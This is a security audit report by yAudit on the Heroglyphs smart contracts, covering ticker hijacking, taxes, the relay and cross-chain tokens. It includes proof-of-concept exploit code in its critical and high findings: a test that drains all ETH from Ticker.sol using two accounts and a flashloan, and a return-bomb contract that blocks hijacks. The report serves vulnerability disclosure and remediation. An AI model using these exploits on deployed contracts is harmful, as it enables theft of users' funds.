yAudit Heroglyphs Review

Review Resources:

- Whitepaper

Auditors:

- EperezOk
- Spalen

Table of Contents

Review Summary

Heroglyphs

Heroglyphs provides a system of rewards that incentivizes users to become solo validators instead of joining Liquid Staking pools. This reward system is based on Graffiti, a small piece of arbitrary data validators can include in the proposed blocks' header. To fit more data into Graffiti, validators can create new or purchase existing Tickers, which encode Ethereum addresses into short custom names. The initial use case of Heroglyphs is to provide an innovative system to mine and distribute tokens, for which the protocol provides token templates that use LayerZero to enable cross-chain transactions.


Heroglyphs Architecture

The contracts of the Heroglyphs Repo were reviewed over 10 days. The code review was performed by 2 auditors between April 29 and May 10, 2024. The repository was under active development during the review, but the review was limited to the latest commit at the start of the review. This was commit 7d1f83c821b72568c52d3a9737c5905f61c9cae3 for the heroglyph repo.

Scope

The scope of the review consisted of the following contracts at the specific commit:

```
src
├── ExecutionPool.sol
├── HeroglyphAttestation.sol
├── IHeroglyphAttestation.sol
├── SendNativeHelper.sol
├── factory
│   ├── HeroglyphFactory.sol
│   ├── IHeroglyphFactory.sol
│   └── tokens
│       └── HeroLinearToken20.sol
├── identity
│   ├── IIdentityERC721.sol
│   ├── IdentityERC721.sol
│   ├── NameFilter.sol
│   ├── ticker
│   │   ├── ITicker.sol
│   │   ├── Ticker.sol
│   │   └── operator
│   │       ├── ITickerOperator.sol
│   │       └── TickerOperator.sol
│   └── wallet
│       ├── IValidatorIdentity.sol
│       └── ValidatorIdentity.sol
├── relay
│   ├── HeroglyphRelay.sol
│   ├── IHeroglyphRelay.sol
│   └── TestnetTrigger.sol
└── tokens
    ├── ERC20
    │   ├── BaseOFT20.sol
    │   └── OFT20Ticker.sol
    ├── ERC721
    │   ├── KeyOFT721.sol
    │   ├── OFT721.sol
    │   └── OFT721Ticker.sol
    ├── HeroOFTErrors.sol
```

```
    ├── HeroOFTX.sol
    ├── HeroOFTXCallbacks.sol
    ├── IHeroOFTX.sol
    └── extension
        ├── HeroOFTXCallbacksOperator.sol
        ├── HeroOFTXOperator.sol
        └── IHeroOFTXOperator.sol
```

After the findings were presented to the Heroglyphs team, fixes were made and included in several PRs.

This review is a code review to identify potential vulnerabilities in the code. The reviewers did not investigate security practices or operational security and assumed that privileged accounts could be trusted. The reviewers did not evaluate the security of the code relative to a standard or specification. The review may not have identified all potential attack vectors or areas of vulnerability.

yAudit and the auditors make no warranties regarding the security of the code and do not warrant that the code is free from defects. yAudit and the auditors do not represent nor imply to third parties that the code has been audited nor that the code is free from defects. By deploying or using the code, Heroglyphs and users of the contracts agree to use the code at their own risk.

Code Evaluation Matrix

Category	Mark	Description
Access Control	Good	Proper use of access control mechanics like `onlyOwner`, `onlyDedicatedMsgSender` and `onlyRelay` are present across the system.
Mathematics	Low	There is no complex math, but a few issues are raised for internal accounting.
Complexity	Average	The system demonstrates moderate complexity. The folder `tokens` contains abstract contracts that can be extended to meet users' needs. These contracts don't have a structured line of inheritance.

Category	Mark	Description
Libraries	Good	Use of well-tested libraries and interfaces, contributing to the system's robustness.
Decentralization	Low	The main functionality of the system is controlled behind the relayer, which acts as a bridge between off-chain and on-chain.
Code stability	Low	The code repository was still in active development during the review, especially the `HeroglyphAttestation` contract.
Documentation	Low	Although some contracts have proper documentation, others in the folder `tokens` are missing information.
Monitoring	Average	Events were emitted where applicable but were missing in some functions.
Testing and verification	Average	The codebase includes unit and integration tests, though the test suite may be improved with proper e2e tests on the forked chain. Fuzzing could be added easily.

Findings Explanation

Findings are broken down into sections by their respective impact:

- Critical, High, Medium, Low Impact
  - These findings range from attacks that may cause loss of funds, impact control/ownership of the contracts, or cause any unintended consequences/actions that are outside the scope of the requirements.
- Gas savings
  - Findings that can improve the gas efficiency of the contracts.
- Informational
  - Findings including recommendations and best practices.

Critical Findings

1. Critical - Ticker.sol can get drained by an attacker

When calling `hijack()`, users get all the ETH into Ticker's deposit that they send into the hijacked, while the `price` set by the original owner is still transferred out of the contract. This way, the hijacker gets the Ticker for free, and the `price` is paid using the deposits from other users.

An attacker can abuse this mechanism to steal all the ETH from the Ticker.sol contract, using one account to create a Ticker and another account to hijack his own Ticker at a huge price, possibly utilizing a flashloan.

Technical Details

The `hijack()` function sets the hijacked Ticker's deposit to the `msg.value` sent by the hijacker while transferring the `price` and the old deposit to the `currentOwner`:

```
function hijack(uint256 _nftId, string memory _name, uint128 _newPrice) external payable
override {
    // ...

    address currentOwner = ownerOf(_nftId);
    uint128 price = ticker.price;

    //...

    if (msg.value < price) revert NotEnough();

    uint128 totalOwned = price + ticker.deposit;
    ticker.deposit = uint128(msg.value);
    _transferTicker(_nftId, ownerOf(_nftId), msg.sender, _newPrice);

    if (totalOwned != 0) {
        _sendNative(currentOwner, totalOwned, false);
    }

    emit TickerHijacked(_nftId, _name, msg.sender, price, totalOwned);
}
```

Note that the `price` isn't being paid by the hijacker but rather by the contract itself (using the ETH from other users' deposits) since he can withdraw the whole deposit at any time using `withdrawDeposit()`.

Here's how an attacker can abuse this mechanism to steal all the ETH from the Ticker.sol contract:

1. The attacker creates a Ticker with arbitrary metadata and a low price, so he pays very little taxes afterward.
2. The attacker waits for `protectionInSeconds` until he can hijack his own Ticker.
3. The attacker calls `updatePrice` and sets a price equal to the contract ETH balance.
4. The attacker uses a second account to take a flashloan (equal to the contract ETH balance) and hijack his own Ticker. This should be done in the same block as the previous step to avoid paying taxes.
5. In the same tx as the previous step, the attacker uses his second account to withdraw the deposit he just made and repay the flashloan.
6. At this point, the contract will be drained, and all the funds will be held in the attacker's account that created the Ticker in Step 1.

PoC can be added to the `Ticker.t.sol` file to simulate attack:

```
function test_hijack_getsDrained() external pranking {
    assertEq(address(underTest).balance, 0); // Ticker contract has no ETH

    // user creates Tickers and makes deposits into the contract
    changePrank(user);
    uint256 initialDeposit = 100 ether;
    underTest.create{ value: initialDeposit }(tickerCreation);

    // Ticker contract holds 100 ETH in deposits
    assertEq(address(underTest).balance, 100 ether);

    // attacker uses two accounts to drain the Ticker contract
    address _attacker1 = makeAddr("attacker1");
    address _attacker2 = makeAddr("attacker2");

    // attacker uses one account to create a Ticker with a low price, to pay less taxes
    changePrank(_attacker1);
    deal(_attacker1, COST + 0.01 ether); // to cover COST + tax
    tickerCreation.name = "test";
    tickerCreation.setPrice = 0.01 ether;
    underTest.create{ value: COST }(tickerCreation);

    // COST gets added to the contract's balance after new Ticker creation
    assertEq(address(underTest).balance, 100 ether + COST);

    // skip to the time when the attacker can hijack his own Ticker, using his other
account
    skip(underTest.protectionInSeconds());

    // taxes are paid at the low creation price, and then price is updated to match the
amount
    // to drain from the contract
    underTest.updatePrice(0, "test", 100 ether);

    // attacker uses another account to take a flashloan and hijack the Ticker he created
```

```
    changePrank(_attacker2);
    deal(_attacker2, 100 ether); // takes flashloan
    underTest.hijack{ value: 100 ether }(0, "test", 1); // + 100 ETH to _attacker1
    underTest.withdrawDeposit(0, "test", 100 ether);    // + 100 ETH to _attacker2

    // 1. Ticker contract stole all the ETH from the Ticker contract
    assertEq(address(underTest).balance, 0);
    // 2. _attacker1 has 100 ETH + a little bit more that was used to create the
malicious Ticker
    assertApproxEqRel(_attacker1.balance, 100 ether, 1e16);
    // 3. _attacker2 has 100 ETH that will be used to repay the flashloan
    assertEq(_attacker2.balance, 100 ether);

    // _attacker2 repays the flashloan
    // ...
}
```

Impact

Critical. All ETH inside Ticker.sol can be stolen by an attacker.

Recommendation

Make the hijacker pay for the Ticker `price`, subtracting it from the `msg.value` he sends.

```
if (msg.value < price) revert NotEnough();

uint128 totalOwned = price + ticker.deposit;
- ticker.deposit = uint128(msg.value);
+ ticker.deposit = uint128(msg.value) - price;
_transferTicker(_nftId, ownerOf(_nftId), msg.sender, _newPrice);

if (totalOwned != 0) {
    _sendNative(currentOwner, totalOwned, false);
}
```

Also, consider requiring that the `msg.value` is greater than the `price` to prevent the `ticker.deposit` from initially being 0.

Developer Response

Fixed in recent versions.

High Findings

1. High - Ticker owner can use a return bomb to make all hijack attempts fail

When `hijack()` is executed, `_sendNative()` is called to transfer the ticker price and the remaining deposit to the owner. This ETH transfer is done using a low-level call, which will automatically copy the return bytes to memory without consideration of gas.

The Ticker owner (in this case, a contract) can abuse the behavior mentioned above to make all calls to `hijack()` revert due to an out-of-gas error using a return bomb (i.e., a large bytes array that expands the memory so much that any attempt to execute the transaction will lead to an out-of-gas exception).

This way, the Ticker owner can keep the Ticker indefinitely, even having the lowest ticker price possible (1 wei) to pay negligible taxes.

Technical Details

A contract can be used to create/hijack a Ticker. If this contract implements a `fallback()` method that returns a huge amount of data, `_sendNative()` will revert when performing the low-level call to the contract. Note that the return data will be copied to memory even though it's not explicitly assigned to a variable in the code.

```
function _sendNative(address _to, uint256 _amount, bool _revertIfFails) internal {
    if (_amount == 0) return;

    (bool success,) = _to.call{ value: _amount }("");

    if (!success) {
        if (_revertIfFails) revert FailedToSendETH();
        pendingClaims[_to] += _amount;
    }
}
```

PoC that can be placed inside Ticker.t.sol.

```
function test_hijack_returnBomb() external pranking {
    address _attacker = address(new ReturnBombAttacker());
    deal(_attacker, COST);

    changePrank(_attacker);
    underTest.create{ value: COST }(tickerCreation);

    skip(underTest.protectionInSeconds());

    changePrank(user_B);
    uint256 sending = 32.22e18;
    underTest.hijack{ value: sending }(0, tickerCreation.name, 1e18);

    assertEq(underTest.ownerOf(1), user_B);
}
```

It should use the following `ReturnBombAttacker` contract to "returnbomb" the caller:

```
contract ReturnBombAttacker {
    fallback(bytes calldata) external payable returns (bytes memory) {
        assembly{
            revert(0, 1000000000) // (gas: 8937393460516745140)
            // revert(0, 1000000) // (gas: 4_425_389)
            // revert(0, 0) // (gas: 326_511)
        }
    }
}
```

Running the test will output the gas used during the test execution, which is increasingly high as we return more and more data in the `fallback()` function of the attacker contract. Example output:

```
Ran 1 test for test/unit/identity/Ticker.t.sol:TickerTest
[PASS] test_hijack_returnBomb() (gas: 8937393460516745140)
```

Note: the test does not revert because Foundry can use infinite gas, but it would revert when deployed to a real chain.

Impact

High. A user can hold a Ticker indefinitely while paying negligible taxes.

Recommendation

Use `ExcessivelySafeCall` instead of a regular low-level call to transfer the ETH.

Developer Response

Fixed in commit bbe668dcb4550302396d221159bf2826b1d3799f.

Medium Findings

1. Medium - Ticker owner can front-run a hijacker to set the price equal to the total ETH amount sent

When calling `hijack()`, a hijacker can send excess ETH (in addition to the required ticker price) that will be stored in the ticker deposit.

If the Ticker owner sees this transaction, he can increase the ticker `price` right before the hijack to match the total ETH amount sent by the hijacker. Therefore, the Ticker owner will capture all the ETH sent, and the Ticker deposit will end up being 0 once the hijack is completed.

Technical Details

This attack requires the owner to see the hijacker transaction before it's included in a block.

Although the protocol aims to be deployed to an L2, and most L2s don't have public mempools, this might change in the future once the centralized sequencers most L2s use nowadays become decentralized.

Impact

Medium. ETH can be stolen from hijackers if front-running is possible on the chains on which the protocol is deployed.

Recommendation

Add a `maxPrice` parameter to the `hijack()` function so that the hijacker can specify the maximum price he is willing to pay for the ticker.

Developer Response

Fixed in commit bbe668dcb4550302396d221159bf2826b1d3799f.

Low Findings

1. Low - Use ERC721 `_safeMint()` and `_safeTransfer()`

Using `_mint()` and `_transfer()` could mint or transfer ERC721 tokens to contracts that don't support them, leaving them locked in the contract.

Technical Details

Contract addresses that don't implement `IERC721Receiver` could mint Ticker or ValidatorIdetity tokens but won't be able to use them. Use `_safeMint()` to verify that the receiver contract can support ERC721 tokens. OZ suggests using `_safeMint()` whenever possible.

The following function uses unsafe minting:

- `IdentityERC721`
- `KeyOFT721`

Also, use `_safeTransfer()` instead of `_transfer()` when transferring to the provided address. Change the following functions to use `_safeTransfer()`:

- `_credit()`
- `_credit()`
- `_onValidatorCrossChainFailed()`

Impact

Low. ERC721 tokens could be minted for contracts that don't support them.

Recommendation

Use `_safeMint()` and `_safeTransfer()` instead of `_mint()` and `_transfer()` for ERC721 when the provided receiver address could be a contract that doesn't implement `IERC721Receiver`.

Developer Response

Fixed in commit bbe668dcb4550302396d221159bf2826b1d3799f.

2. Low - ETH might remain locked inside ValidatorIdentity.sol if `cost` is set to 0

If, at some point, the ValidatorIdentity `cost` is set to 0 and users accidentally send ETH when minting, this ETH will remain locked inside the contract forever.

Technical Details

In ValidatorIdentity.sol, tokens are minted using `create()` or `createWithSignature()`, both of which are `payable` functions.

The check on `msg.value` is done inside _create(), but this function does not check that `msg.value == cost` if `cost` is 0. Therefore, any ETH sent in such a case will be lost.

Impact

Low. Although users might accidentally lose ETH, this requires:

1. ValidatorIdentity `cost` set to 0.
2. Input mistake by the user.

Recommendation

Consider enforcing that the `cost` is always positive, or rethink the check inside `_create()`, considering that it's also used by `Ticker.sol`.

Developer Response

Fixed in ValidatorIdentityV2 in commit bbe668dcb4550302396d221159bf2826b1d3799f.

3. Low - Users can hijack themselves to retain a Ticker while possibly not paying taxes

Using two separate accounts, a user might be able to hijack his own Ticker repeatedly every `protectionInSeconds` seconds to retain it indefinitely.

Also, assuming the user will be “faster” than all other users trying to hijack it, he can set the Ticker `price` to 1 wei to not pay taxes or pay an amount close to 0 after the first year.

Technical Details

The user can retain a Ticker for a minimum price of 1 wei using the `hijack()` function. The user could transfer it using `hijack()` from one account to another (both controlled by him) after a period defined by `protectionInSeconds`. But it must be done before anyone else calls `hijack()` to steal it from him.

```
function hijack(uint256 _nftId, string memory _name, uint128 _newPrice) external payable
override {
    // ...

    _payTax(_nftId, ticker);

    address currentOwner = ownerOf(_nftId);
    uint128 price = ticker.price;

    if (_newPrice == 0) revert PriceIsZero();
    if (currentOwner == address(0)) revert TickerNotFound();
    if (currentOwner == msg.sender) revert CantSelfBuy();
    if (currentOwner != address(this) && block.timestamp < ticker.owningDate +
protectionInSeconds) {
        revert ProtectionStillActive();
    }
    if (block.timestamp < ticker.immunityEnds) revert TickerIsImmune();
    if (msg.value < price) revert NotEnough();

    uint128 totalOwned = price + ticker.deposit;
    ticker.deposit = uint128(msg.value);
    _transferTicker(_nftId, ownerOf(_nftId), msg.sender, _newPrice);

    if (totalOwned != 0) {
        _sendNative(currentOwner, totalOwned, false);
    }

    emit TickerHijacked(_nftId, _name, msg.sender, price, totalOwned);
}
```

During this process, he will transfer ETH to himself and only have to pay gas fees.

To be the fastest hijacker, he needs to:

1. Front-run any other hijacker if the chain where the protocol is deployed has a public mempool.
2. Send transactions with very low latency at the exact time the `protectionInSeconds` passes if the chain uses, for instance, a FIFO centralized sequencer (e.g., Arbitrum).

Impact

Low. An expert user can retain a Ticker without paying taxes.

Recommendation

1. Set a higher minimum for the price of a Ticker (currently 1 wei when hijacking, 0 wei when creating it). This change will ensure taxes are paid even in the scenario mentioned above.
2. Set `protectionInSeconds` to a low value (e.g., <= 1 minute), so it requires more effort to constantly hijack the Ticker to prevent others from doing so.

Developer Response

Fixed in commit bbe668dcb4550302396d221159bf2826b1d3799f.

4. Low - Incorrect calculation of tax time paid with deposit

The tax is paid for the time the Ticker is used. If the deposit becomes lower than the tax needed, the whole deposit will be used to pay the tax for the maximum amount of time.

Technical Details

In the function `_payTax()` if the tax gets bigger than Ticker deposit the whole deposit is used to pay the tax. There is a calculation to get the maximum time passed to pay the tax which is implemented incorrectly:

```
uint32 lastTimeTaxPaidWithBalance =
-   uint32(Math.mulDiv(lastTimeTaxPaid + (block.timestamp - lastTimeTaxPaid), deposit,
tax));
+   uint32(lastTimeTaxPaid) + uint32(Math.mulDiv(block.timestamp - lastTimeTaxPaid,
deposit, tax));

- _ticker.lastTimeTaxPaid = lastTimeTaxPaidWithBalance;
```

Also, note that there's no point in assigning `lastTimeTaxPaidWithBalance` to `_ticker.lastTimeTaxPaid` since this will be overwritten later in the transaction when the Ticker is surrendered.

There is a clearer way to calculate the maximum amount of time that can be paid for tax:

```
uint256 timeTaxPaidWithDeposit = deposit * ONE_YEAR / currentPrice;
uint32 lastTimeTaxPaidWithBalance = lastTimeTaxPaid + uint32(timeTaxPaidWithDeposit);
```

Impact

Low. The `lastTimeTaxPaidWithBalance` calculation is incorrect when paying tax with the whole deposit, and the Ticker metadata is needlessly assigned.

Recommendation

Fix the calculation of `lastTimeTaxPaidWithBalance` and remove the assignment to the Ticker metadata.

Developer Response

Fixed in recent versions.

5. Low - Wrong order of graffiti data will exclude older blocks

`HeroglyphRelay` receives graffiti data in an array and executes defined tickers. If the graffiti data is sent in the wrong order, it will cause older blocks to be skipped and also prevent adding older blocks in the future.

Technical Details

The array `GraffitiData` is received from off-chain operation which order cannot be validated. The code should enforce that the received array is sorted by `mintedBlock` in ascending order instead of skipping elements not in the preferred order. Mistakes in the array order can block the execution of valid blocks and tickers because older blocks cannot be executed anymore.

Impact

Low. Valid graffiti data will be skipped if the data array is not sorted by `mintedBlock` in ascending order. Skipped tickers won't be executed, and attestors won't get rewards.

Recommendation

Revert if the graffiti data is in invalid order.

```
- if (mintedBlock <= lastBlockMinted) continue;
+ if (mintedBlock <= lastBlockMinted) revert InvalidOrderd();
```

Additionally, think about reverting in the case of graffiti data length mismatch because once skipped blocks cannot be added later.

Developer Response

Won't fix, the off-chain logic assure to send the blocks in order.

6. Low - `getCurrentBatch()` always returns an empty batch

`getCurrentBatch()` is always returning an empty batch.

Technical Details

The named return value `batch_` is not assigned to any value before being returned:

```
function getCurrentBatch() external view override returns (uint256 batchId_,
ClaimingBatch memory batch_) {
    batchId_ = claimingBatches.length - 1;

    return (batchId_, batch_);
}
```

Impact

Low. The batch data can still be retrieved using `getBatch()`.

Recommendation

Assign the latest batch to `batch_` before returning it.

Developer Response

Won't fix, no longer relevant.

7. Low - `TickerOperator` is missing the `receive` function

`TickerOperator` should be able to receive ETH but it is missing `receive` function.

Technical Details

`TickerOperator` must pay a fee to `HeroglyphRelay`. It can do it via fee-payer contract or it can do it internally by sending ETH to the relayer.

The contract `TickerOperator` first must receive ETH to pay the fee with ETH, but the contract is missing the `receive` function, meaning that it can never receive ETH and, in the end, cannot pay the fee.

Impact

Low. `TickerOperator` cannot receive ETH and pay the fee.

Recommendation

Add the `receive` function to the `TickerOperator` contract. Add the following test to `TickerOperatorTest` that verifies the contract can receive ETH and pay the fee:

```
function test_repayHeroglyph_payInternally() external prankAs(owner) {
    underTest.updateFeePayer(address(0));

    vm.deal(address(owner), FEE);
    address(underTest).call{ value: FEE }("");

    assertEq(address(underTest).balance, FEE, "Missing funds");
    underTest.exposed_repayHeroglyph();
    assertEq(address(underTest).balance, 0, "Fee paid");
}
```

Developer Response

Fixed in commit bbe668dcb4550302396d221159bf2826b1d3799f.

8. Low - Verify `feeCollector` is not address zero

Setting invalid protocol configuration parameters, like `feeCollector`, could block users from transferring tokens.

Technical Details

For all cross-chain interactions, `OFT20Ticker` is minting a fee to `feeCollector`. If the `feeCollector` is set to address zero and cross-chain fee is set, it will revert with `ERC20InvalidReceiver` because the fee cannot be minted to address zero.

Impact

Low. Setting `feeCollector` to address zero will block transferring tokens to other chains via LayerZero if the cross-chain fee is set.

Recommendation

Require that the `feeCollector` cannot be set to address zero or skip minting fees if the address is not set.

Developer Response

Fixed in commit bbe668dcb4550302396d221159bf2826b1d3799f.

9. Low - Any ETH sent by mistake will be lost

When an ERC20 token is set as the `inputToken`, the `buy()` function inside KeyOFT721.sol does not refund any mistakenly sent ETH to the users.

Technical Details

KeyOFT721 tokens can be purchased using either ETH or an ERC20 token.

```
function buy() external payable {
    if (cost == 0) revert CannotBeBoughtHere();

    uint256 cacheTotalSupply = totalSupply + 1;

    if (address(inputToken) == address(0) && msg.value != cost) revert InvalidAmount();
    if (address(inputToken) != address(0) && !inputToken.transferFrom(msg.sender,
treasury, cost)) {
        revert FailedToTransfer();
    }

    // ...

    _sendNative(treasury, msg.value, true);
}
```

Since there are no checks on `msg.value` when an ERC20 token is used, any ETH sent by mistake will be sent to the treasury, resulting in a loss for the user.

Impact

Low. Mistakenly sent ETH is not returned to the users when they buy KeyOFT721 tokens.

Recommendation

Require that no ETH is sent if an ERC20 token is to be used.

```
- if (address(inputToken) != address(0) && !inputToken.transferFrom(msg.sender, treasury,
cost)) {
-    revert FailedToTransfer();
- }
+ if (address(inputToken) != address(0)) {
+    if (msg.value != 0) revert InvalidAmount();
+    if (!inputToken.transferFrom(msg.sender, treasury, cost)) revert FailedToTransfer();
+ }
```

Developer Response

Fixed in commit bbe668dcb4550302396d221159bf2826b1d3799f.

Gas Saving Findings

1. Gas - Use simple comparison

Using a compound comparison such as ≥ or ≤ uses more gas than a simple comparison check like >, <, or ==. Compound comparison operators can be replaced with simple ones for gas savings.

Technical Details

The following function can use simpler comparison checks:

- `ValidatorIdentity.createWithSignature()`
- `Ticker.createWithSignature()`
- `ValidatorIdentity.updateDelegationWalletReceiver()`

OZ also uses simple comparison for deadline timestamps.

Impact

Gas savings.

Recommendation

Replace compound comparison operators with simple ones for gas savings.

Developer Response

Acknowledged.

2. Gas - Fetch validator name only if needed

The validator name is fetched but never used. Fetch data only if needed.

Technical Details

The fetching validator name can be removed from the following function:

- `updateDelegationWalletReceiver()`
- `updateReceiverAddress()`

Impact

Gas savings.

Recommendation

Remove fetching the validator name when it is unnecessary, as suggested above.

Developer Response

Fixed in ValidatorIdentityV2.

3. Gas - Remove double-checks

In some places, there are double checks for the same value. Removing duplicated checks will save gas.

Technical Details

The following lines can be removed:

- Ticker.sol#L130 because `currentOwner` cannot be address zero, the function `ownerOf()` will revert in that case.
- Ticker.sol#L254 because `_id` is already verified in the functions before.
- Ticker.sol#L142 because `__sendNative()` checks zero amount.
- HeroglyphRelay.sol#L159 because it is already verified that the address cannot be zero.

Impact

Gas savings.

Recommendation

Remove duplicated checks.

Developer Response

Acknowledged.

4. Gas - Remove unused params

Some function parameters inside the struct can be removed for gas savings.

Technical Details

The struct `TickerCreation` has param `gasLimit` which is never used.

Impact

Gas savings.

Recommendation

Remove unused params for gas savings.

Developer Response

Fixed in the recent versions.

5. Gas - Cache values outside of the loop

When iterating over an array, it is recommended to cache the array length and other values outside of the loop to avoid unnecessary gas costs.

Technical Details

Values that can be cached outside the loop:

- `_graffities.length`
- `roots.length`
- `_indexes.length` in `claimAction()`
- `_indexes.length` in `forgiveDebt()`

Also, consider initializing the variables outside the loop if the value is set in each loop iteration.

Impact

Gas savings.

Recommendation

Cache specified values before entering the loop.

Developer Response

Won't fix, no longer relevant.

6. Gas - Simplify calculating ticker operator gas fee

The function `getExecutionNativeFee()` is used to calculate the gas fee that needs to be paid by the ticker operator. The fee calculation can be simplified for gas savings.

Technical Details

The state variable `startGasTicker` can be removed and replace with `gasLimitPerTicker` because it is always set to this value using function param `_gasLimit`.

Impact

Gas savings.

Recommendation

Remove state variable `startGasTicker`.

Developer Response

Fixed in commit bbe668dcb4550302396d221159bf2826b1d3799f.

7. Gas - Use mapping instead of an array

Using mapping instead of an array will give noticeable gas savings.

Technical Details

The contract `Ticker` uses the array to track `identities` and map token id to `TickerMetadata`. This array can be changed to mapping to provide the same functionality with gas savings.

Also, the contract `ValidatorIdentity` uses the array `identities` in the same way and can be switched to using mapping for gas savings.

Impact

Gas savings.

Recommendation

Use mapping instead of an array if possible.

The function `_create()` returns `tokenId` which can be used as mapping key. Change `_executeCreate()` to use mapping:

```
function _executeCreate(string memory _name) internal {
-    _create(_name, cost);
-    identities.push(Identifier({ name: _name, tokenReceiver: msg.sender }));
+    uint256 tokenId = _create(_name, cost);
+    identities[tokenId] = Identifier({ name: _name, tokenReceiver: msg.sender });
}
```

Gas savings from the provided tests when using mapping instead of array `identities` in `Ticker` and `ValidatorIdentity`:

test_create_whenMsgValueIsUnderCost_thenRevert() (gas: -6 (-0.019%))

test_createWithSignature_givenWrongSigner_thenReverts() (gas: -11 (-0.028%))

test_updateProtectionTime_asOwner_givenLessThanOneMinute_thenReverts() (gas: -6 (-0.039%))

test_createWithSignature_givenNotSameArgThanSignature_thenReverts() (gas: -20 (-0.051%))

test_transferTicker_givenIdZero_thenReverts() (gas: -9 (-0.060%))

test_updateProtectionTime_asUser_thenReverts() (gas: 10 (0.063%))

test_createWithSignature_givenExpiredSignature_thenReverts() (gas: -14 (-0.071%))

test_updateProtectionTime_asOwner_thenUpdates() (gas: -26 (-0.110%))

test_createWithImmune_asUser_thenReverts() (gas: -26 (-0.122%))

test_constructor_thenContractWellConfigured() (gas: -10575 (-0.413%))

test_toggleDelegation_thenDisableDelegation() (gas: -5775 (-1.370%))

test_hijack_whenProtectionAndImmuneEnds_thenHijacks() (gas: -6055 (-1.376%))

test_constructor_thenContractWellConfigured() (gas: -30909 (-1.492%))

test_create_thenCreateTinkerAndMint() (gas: -5951 (-1.544%))

test_acceptDelegation_thenBecomesDelegateeAndUpdateAddressReceiver() (gas: -5495 (-1.639%))

test_withdrawDeposit_whenReentrancy_thenReverts() (gas: -5303 (-1.649%))

test_create_thenCreateValidatorIdentityAndMint() (gas: -5946 (-1.654%))

test_acceptDelegation_whenDoesNotPayTheCost_thenReverts() (gas: -5286 (-1.658%))

test_retrieveDelegation_thenRetrieves() (gas: -4315 (-1.665%))

test_retrieveDelegation_whenEnabled_thenEmitsEvent() (gas: -4315 (-1.666%))

test_acceptDelegation_whenFailToSendEth_thenReverts() (gas: -5394 (-1.688%))

test_acceptDelegation_givenId_thenBecomesDelegateeAndUpdateAddressReceiver() (gas: -5737 (-1.705%))

test_delegate_thenCreatesDelegation() (gas: -5394 (-1.710%))

test_retrieveDelegation_givenId_whenEnabled_thenEmitsEvent() (gas: -4507 (-1.734%))

test_delegate_whenNoNFTOwner_thenReverts() (gas: -5286 (-1.740%))

test_delegate_givenId_thenCreatesDelegation() (gas: -5633 (-1.780%))

test_acceptDelegation_whenDelegationDisabled_thenRevert() (gas: -5286 (-1.848%))

test_retrieveDelegation_whenDelegationPeriodNotOver_thenReverts() (gas: -5394 (-1.849%))

test_updateDelegationWalletReceiver_whenNotDelegatee_thenReverts() (gas: -5515 (-1.852%))

test_updateDelegationWalletReceiver_thenUpdatesReceiverAddress() (gas: -5724 (-1.852%))

test_updateDelegationWalletReceiver_whenDelegationPeriodOver_thenReverts() (gas: -5394 (-1.855%))

test_acceptDelegation_whenEndDelegationisStillActive_thenReverts() (gas: -5394 (-1.855%))

test_toggleDelegation_whenNotOwner_thenReverts() (gas: -5286 (-1.876%))

test_retrieveDelegation_whenNotOriginalOwner_thenReverts() (gas: -5286 (-1.877%))

test_hijack_whenTaxIsHigherThanDeposit_thenReturnNothingToOwnerAndTransfer() (gas: -5862 (-2.164%))

test_hijack_whenDepositRemaining_thenRefundsCurrentOwnerAndTransfer() (gas: -6062 (-2.175%))

test_hijack_whenSendingUnderPriceValue_thenReverts() (gas: -5320 (-2.204%))

test_hijack_whenProtectionStillActive_thenReverts() (gas: -5322 (-2.265%))

test_increaseDeposit_thenPaysDebtAndUpdates() (gas: -6018 (-2.327%))

test_updatePrice_whenTaxHigherDeposit_givenMsgValueToPayTax_thenUpdates() (gas: -6022 (-2.365%))

test_updateTicker_whenUnderwater_thenReverts() (gas: -5420 (-2.367%))

test_increaseDeposit_whenTaxHigherDepositButNotHigherWithExtra_thenUpdates() (gas: -6039 (-2.377%))

test_increaseDeposit_whenTaxHigherDepositAndExtra_thenReverts() (gas: -5439 (-2.391%))

test_updatePrice_givenMsgValue_whenTaxHigherDepositButNotEnoughWithMsgValue_thenReverts() (gas: -5430 (-2.393%))

test_withdrawDeposit_whenTaxHigherDeposit_thenReverts() (gas: -5424 (-2.397%))

test_increaseDeposit_givenId_thenPaysDebtAndUpdates() (gas: -6164 (-2.404%))

test_payTax_givenEnoughDeposit_thenUpdates() (gas: -5985 (-2.424%))

test_hijack_whenIsImmune_thenReverts() (gas: -4933 (-2.472%))

test_payTax_givenNotEnoughDeposit_thenSurrender() (gas: -5852 (-2.477%))

test_updateReceiverAddress_thenUpdatesTokenReceiver() (gas: -5710 (-2.566%))

test_withdrawDeposit_thenWithdrawsAmount() (gas: -5979 (-2.574%))

test_createWithSignature_givenValidSignature_thenCreates() (gas: -5269 (-2.590%))

test_updateReceiverAddress_asNoneIdentifier_thenReverts() (gas: -5289 (-2.594%))

test_createWithImmune_asOwner_thenCreatesAndVerifyImmunity() (gas: -5416 (-2.597%))

test_createWithSignature_givenValidSignature_thenCreates() (gas: -5388 (-2.605%))

test_trySurrender_givenDepositZero_thenSurrender() (gas: -5304 (-2.614%))

test_updateTicker_thenUpdatesTokenReceiver() (gas: -6001 (-2.633%))

test_transferTicker_thenTransfers() (gas: -5494 (-2.649%))

test_updateTicker_asNoneIdentifier_thenReverts() (gas: -5301 (-2.656%))

test_withdrawDeposit_asNonIdentityOwner_thenReverts() (gas: -5281 (-2.666%))

test_increaseDeposit_asNonIdentityOwner_thenReverts() (gas: -5158 (-2.691%))

test_transferFrom_thenReverts() (gas: -5169 (-2.693%))

test_delegate_givenZeroMonth_thenReverts() (gas: -5168 (-2.696%))

test_transferTicker_givenWrongCurrentOwner_thenReverts() (gas: -5301 (-2.700%))

test_withdrawDeposit_whenAmountIsHigherThanDeposit_thenReverts() (gas: -5294 (-2.713%))

test_trySurrender_givenDepositHigherThanZero_thenIgnores() (gas: -5163 (-2.716%))

`test_hijack_givenNewPriceZero_thenReverts() (gas: -5286 (-2.726%))`

`test_updatePrice_asNonIdentityOwner_thenReverts() (gas: -5277 (-2.739%))`

`test_hijack_whenTickerNotFound_thenReverts() (gas: -5312 (-2.745%))`

`test_updatePrice_thenUpdates() (gas: -6014 (-2.748%))`

`test_getTickerMetadata_givenId_whenTaxDebtIsNotOverDeposit_thenReturnsFalseToShouldBeSurrender() (gas: -5384 (-2.779%))`

`test_getTickerMetadata_givenId_whenTaxDebtOverDeposit_thenReturnsTrueToShouldBeSurrender() (gas: -5384 (-2.785%))`

`test_hijack_givenHisOwnTicker_thenReverts() (gas: -5312 (-2.797%))`

`test_updatePrice_whenPriceIsZero_thenReverts() (gas: -5300 (-2.801%))`

